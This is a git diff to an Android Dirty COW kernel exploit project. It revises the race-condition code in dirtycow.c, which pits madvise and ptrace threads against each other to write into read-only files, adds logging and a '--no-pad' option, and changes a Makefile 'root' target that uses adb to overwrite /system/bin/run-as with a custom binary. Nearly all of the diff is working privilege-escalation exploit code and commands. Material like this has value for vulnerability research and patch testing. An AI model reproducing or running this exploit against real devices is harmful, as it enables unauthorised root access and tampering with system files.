diff --git a/Android.mk b/Android.mk
index c5dd118..e1372bd 100644
--- a/Android.mk
+++ b/Android.mk
@@ -15,7 +15,6 @@ include $(BUILD_EXECUTABLE)
 include $(CLEAR_VARS)
 LOCAL_MODULE := run-as
 LOCAL_SRC_FILES := \
-	dirtycow.c \
 	run-as.c
 
 LOCAL_CFLAGS += -DDEBUG
diff --git a/Makefile b/Makefile
index d350ddf..bf55933 100644
--- a/Makefile
+++ b/Makefile
@@ -23,7 +23,8 @@ test: push
 root: push
 	adb shell 'chmod 777 /data/local/tmp/dcow'
 	adb push libs/$(ARCH)/run-as /data/local/tmp/run-as
-	adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
+	adb shell 'cat /system/bin/run-as > /data/local/tmp/run-as-original'
+	adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as --no-pad'
 
 clean:
 	rm -rf libs
diff --git a/dirtycow.c b/dirtycow.c
index e879091..6cbb2f4 100644
--- a/dirtycow.c
+++ b/dirtycow.c
@@ -41,6 +41,7 @@ struct mem_arg  {
 static void *checkThread(void *arg) {
 	struct mem_arg *mem_arg;
 	mem_arg = (struct mem_arg *)arg;
+	LOGV("[*] check thread starts, address %p, size %zd", mem_arg->offset, mem_arg->patch_size);
 	struct stat st;
 	int i;
 	char * newdata = malloc(mem_arg->patch_size);
@@ -62,10 +63,12 @@ static void *checkThread(void *arg) {
 		if (memcmpret == 0) {
 			mem_arg->stop = 1;
 			mem_arg->success = 1;
+			LOGV("[*] check thread stops, patch successful, iterations %d", i);
 			goto cleanup;
 		}
 		usleep(100 * 1000);
 	}
+	LOGV("[*] check thread stops, timeout, iterations %d", i);
 
 cleanup:
 	if (newdata) {
@@ -80,19 +83,20 @@ static void *madviseThread(void *arg)
 	struct mem_arg *mem_arg;
 	size_t size;
 	void *addr;
-	int i, c = 0;
+	int i = 0, c = 0;
 
 	mem_arg = (struct mem_arg *)arg;
 	size = mem_arg->patch_size;
 	addr = (void *)(mem_arg->offset);
 
-	LOGV("[*] madvise = %p %zd", addr, size);
+	LOGV("[*] madvise thread starts, address %p, size %zd", addr, size);
 
-	for(i = 0; i < LOOP && !mem_arg->stop; i++) {
+	while(!mem_arg->stop) {
 		c += madvise(addr, size, MADV_DONTNEED);
+		i++;
 	}
 
-	LOGV("[*] madvise = %d %d", c, i);
+	LOGV("[*] madvise thread stops, return code sum %d, iterations %d", c, i);
 	mem_arg->stop = 1;
 	return 0;
 }
@@ -107,10 +111,12 @@ static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)
 	s = src;
 
 	while (n >= sizeof(long)) {
-		memcpy(&value, s, sizeof(value));
-		if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
-			warn("ptrace(PTRACE_POKETEXT)");
-			return -1;
+		if (*((long *) s) != *((long *) d)) {
+			memcpy(&value, s, sizeof(value));
+			if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
+				warn("ptrace(PTRACE_POKETEXT)");
+				return -1;
+			}
 		}
 
 		n -= sizeof(long);
@@ -143,12 +149,15 @@ static void *ptraceThread(void *arg)
 	struct mem_arg *mem_arg;
 	mem_arg = (struct mem_arg *)arg;
 
-	int i, c;
-	for (i = 0; i < LOOP && !mem_arg->stop; i++) {
-		c = ptrace_memcpy(pid, mem_arg->offset, mem_arg->patch, mem_arg->patch_size);
+	LOGV("[*] ptrace thread starts, address %p, size %zd", mem_arg->offset, mem_arg->patch_size);
+
+	int i = 0, c = 0;
+	while (!mem_arg->stop) {
+		c += ptrace_memcpy(pid, mem_arg->offset, mem_arg->patch, mem_arg->patch_size);
+		i++;
 	}
 
-	LOGV("[*] ptrace %d %i", c, i);
+	LOGV("[*] ptrace thread stops, return code sum %d, iterations %i", c, i);
 
 	mem_arg->stop = 1;
 	return NULL;
@@ -216,6 +225,8 @@ static void exploit(struct mem_arg *mem_arg)
 			pthread_create(&pth1, NULL, madviseThread, mem_arg);
 			ptrace(PTRACE_TRACEME);
 			kill(getpid(),SIGSTOP);
+			// we're done, tell madviseThread to stop and wait for it
+			mem_arg->stop = 1;
 			pthread_join(pth1, NULL);
 		}
 	} else {
@@ -228,13 +239,18 @@ static void exploit(struct mem_arg *mem_arg)
 		pthread_join(pth2, NULL);
 	}
 
-	LOGV("[*] exploited %d %p=%lx", pid, (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
+	LOGV("[*] finished pid=%d sees %p=%lx", pid, (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
 }
 
 int dcow(int argc, const char * argv[])
 {
-	if (argc < 2) {
-		LOGV("usage %s /data/local/tmp/default.prop /default.prop", argv[0]);
+	if (argc < 2 || argc > 4) {
+		LOGV("Usage %s INFILE OUTFILE [--no-pad]", argv[0]);
+		LOGV("  INFILE: file to read from, e.g., /data/local/tmp/default.prop")
+		LOGV("  OUTFILE: file to write to, e.g., /default.prop")
+		LOGV("  --no-pad: If INFILE is smaller than OUTFILE, overwrite the")
+		LOGV("    beginning of OUTFILE only, do not fill the remainder with")
+		LOGV("    zeros (option must be given last)")
 		return 0;
 	}
 
@@ -273,10 +289,15 @@ int dcow(int argc, const char * argv[])
 
 	size_t size = st2.st_size;
 	if (st2.st_size != st.st_size) {
-		LOGV("warning: new file size (%lld) and destination file size (%lld) differ\n", (unsigned long long)st2.st_size, (unsigned long long)st.st_size);
+		LOGV("warning: source file size (%lld) and destination file size (%lld) differ", (unsigned long long)st2.st_size, (unsigned long long)st.st_size);
 		if (st2.st_size > st.st_size) {
-			LOGV("corruption?\n");
-		} else {
+			LOGV("         corruption?\n");
+		}
+		else if (argc > 3 && strncmp(argv[3], "--no-pad", 8) == 0) {
+			LOGV("         will overwrite first %lld bytes of destination only\n", (unsigned long long)size);
+		}
+		else {
+			LOGV("         will append %lld zero bytes to source\n", (unsigned long long)(st.st_size - st2.st_size));
 			size = st.st_size;
 		}
 	}
diff --git a/run-as.c b/run-as.c
index cb59ab2..cfc0aef 100644
--- a/run-as.c
+++ b/run-as.c
@@ -22,8 +22,6 @@ char __aeabi_unwind_cpp_pr0[0];
 typedef int getcon_t(char ** con);
 typedef int setcon_t(const char* con);
 
-extern int dcow(int argc, const char *argv[]);
-
 int main(int argc, const char **argv)
 {
 	LOGV("uid %s %d", argv[0], getuid());